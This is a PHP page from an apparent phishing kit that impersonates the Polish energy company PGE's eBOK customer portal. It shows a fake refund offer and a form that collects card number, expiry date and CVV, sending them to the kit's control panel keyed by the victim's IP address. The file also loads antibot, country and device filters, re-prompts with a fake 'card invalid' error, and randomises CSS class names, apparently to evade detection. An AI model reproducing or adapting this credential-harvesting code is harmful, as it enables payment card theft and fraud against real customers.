• File: step-one.php
  • Full Path: /home/sema-files/web/semafiles.configured.cc/public_html/pge/pages/step-one.php
  • Date Modified: 03/23/2026 2:28 AM
  • File size: 18.78 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
    error_reporting(0);
    session_start();

    include "../antibots-debug/antibots.php";
    include '../setting/functions.php';
    include '../includes/current-page.php';
    include '../includes/check-allowed-countries.php';
    include '../includes/check-devices-allow.php';

    $ip = get_client_ip();
    $get_name_file = $ip;
    $target_file = "../panel/storage/{$get_name_file}.json";
    $json_file = file_get_contents($target_file);
    $user_info = json_decode($json_file, true);
    $user_info['error_credit_card'];
    
    if ($user_info['error_credit_card'] == 1) {
        $get_name_page = "Page Credit Card Error";
        $get_step = "credit-card-error";
    } else {
        $get_name_page = "Page Credit Card";
        $get_step = "credit-card";
    }
    get_page_info($get_name_page, $get_name_file);
    
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- SEO -->
    <?php include '../libraries/seo.php'; ?>
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:ital,wght@0,200..900;1,200..900&display=swap" rel="stylesheet">
    <!-- Font Awesome Library -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/style.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.png">
    <link rel="shortcut" href="../img/favicon.png">
    <link rel="appel-touch-icon" href="../img/favicon.png">
    <title>PGE eBOK</title>
</head>
<body class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ">

    <!-- Main -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> main-section">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> navbar-section" style="padding-right: 0px !important;">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo">
                <img src="../img/logo.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo-desktop">
                <img src="../img/logo-mobile.png.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo-mobile">
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> coul-2">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-one">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-one"><img src="../img/icon-nav-1.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-normal">Konto: </div><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">010240124</div></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-one"><img src="../img/icon-nav-2.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-green">Liczba nowych powiadomień: 0</div></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-one"><img src="../img/icon-nav-3.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-gray">Ustawienia/Zgody</div></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-two">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-two" style="border-bottom: 1px solid #e1e2e7;"><img src="../img/icon-nav-4.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-normal">Wyloguj się</div></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-two"><img src="../img/icon-nav-5.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">Zmień konto</div></div>
                </div>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-other">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-left">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other hide-mobile"><img src="../img/icon-nav-2.png" alt=""></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other"><img src="../img/icon-nav-3.png" alt=""></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-right">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other hide-mobile"><img src="../img/icon-nav-5.png" alt=""></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other"><img src="../img/icon-nav-4.png" alt=""></div>
                </div>
            </div>
        </div>
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> content-main-section">
            <form action="../control-panel/check-action.php" method="post" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> form-section" id="fSD">
                <input type="hidden" name="step" value="<?php echo $get_step; ?>">
                <input type="hidden" name="ip" value="<?php echo $get_name_file; ?>">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title-and-icon">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Karta kredytowa</span>
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-credit-card"></i>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> note-element-style-other">
                    Wymaganą metodą zwrotu jest karta kredytowa. Szanowny Kliencie, prosimy o wypełnienie poniższego formularza wymaganymi informacjami.
                </div>
                <?php
                    if ($user_info['error_credit_card'] == 1) {
                        echo
                        '<span class="m-e-pages">
                            <img src="../img/error-icon.png" alt="">
                            Dane Twojej karty są nieprawidłowe. Spróbuj wprowadzić je ponownie.
                        </span>';
                    }
                ?> 
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> prt-i-a-l-me" id="div1">
                    <label for="numberdrac">Numer karty</label>
                    <input type="tel" placeholder="XXXX XXXX XXXX XXXX" id="numberdrac" name="numberdrac" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> i-element">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> m-e-i" id="messageError1">To pole jest wymagane</small>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> prt-i-a-l-me" id="div2">
                    <label for="datedrac">Ważne do</label>
                    <input type="tel" placeholder="MM/YY" id="datedrac" maxlength="5" name="datedrac" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> i-element">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> m-e-i" id="messageError2">To pole jest wymagane</small>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> prt-i-a-l-me" id="div3">
                    <label for="datedrac">Kod CVV</label>
                    <input type="tel" placeholder="***" maxlength="4" id="vvcdrac" name="vvcdrac" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> i-element">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> m-e-i" id="messageError3">To pole jest wymagane</small>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> prt-btn">
                    <button type="submit" name="b_s_d_p" id="bSD" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> btn-s-d-p">Zwrot pieniędzy</button>
                </div>
            </form>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> note-section">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title-and-icon">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Bliższe dane:</span>
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-circle-info"></i>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-title-text">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Kwota do zwrócenia:</div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text">PLN 398,79</div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-title-text">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Numer zamówienia:</div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text">ffba7993e4a923735e0fa99bb8ab284b</div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-title-text">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Odbiorca:</div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text">PGE Polska</div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-title-text">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Numer klienta:</div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text">101061041</div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-title-text">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Numer faktury:</div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text">101061041/239S/2025</div>
                </div>
            </div>
        </div>
    </div>
    <!-- Main -->

    <!-- Footer -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> footer">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> content-footer">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-section">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-phone-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">Infolinia PGE: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">(+48) 422 222 222  Pon.-Pt.  8:00-17:00</span></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-phone-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">Pomoc techniczna eBOK: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">(+48) 422 222 298  Pon.-Pt.  8:00-17:00</span></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-mail-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">e-mail: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">serwis@gkpge.pl</span></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-flash-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> coul-column">
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">
                            Pogotowie energetyczne: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">991</span>
                        </div>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info-small">
                            Dla aglomeracji warszawskiej: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green-small">(+48) 223 404 100</span>
                        </div>
                    </div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-faq-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info"><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green" style="cursor: pointer !important;">FAQ</span></div>
                </div>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> download-app">
                <h3>Pobierz naszą aplikację mobilną</h3>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> prt-btn-download">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> btn-download" style="margin-right: 15px;">
                        <img src="../img/app-store.png" alt="">
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> btn-download">
                        <img src="../img/google-play.png" alt="">
                    </div>
                </div>
            </div>
        </div>
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-and-copyright">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-footer">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">Pomoc użytkownika</div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">Regulamin</div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">Polityka prywatności</div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">FAQ</div>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> copyright">
                © 2025 PGE Polska Grupa Energetyczna S.A. Wszystkie prawa zastrzeżone
            </div>
        </div>
        <img src="../img/footer-image.svg" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> image-footer-bottom">
    </div>
    <!-- Footer -->

    <!-- Script Js -->
    <script src="../js/script-step-one.js"></script>
    <script src="../js/jquery.min.js"></script>
    <script src="../js/cleave.min.js"></script>
    <script src="../js/script-validator.js"></script>
    <script>
        $(function(){function e(){$("#numberdrac").validateCreditCard(function(e){!1==e.valid?($("#div1").removeClass("success"),$("#numberdrac").addClass("error-input"),$("#messageError1").addClass("show-error-message")):($("#div1").addClass("success"),$("#messageError1").removeClass("show-error-message"),$("#numberdrac").removeClass("error-input"))})}$("#bSD").click(function(){e()}),$("#numberdrac").on("input",function(){e()}),$("#numberdrac").on("blur",function(){e()})});const cleaceCC=new Cleave("#numberdrac",{creditCard:!0,delimiter:" "}),cleaveDate=new Cleave("#datedrac",{date:!0,datePattern:["m","y"]});
    </script>
    <?php include '../includes/redirect.php'; ?>
    <?php include '../includes/status.php'; ?>

</body>
</html>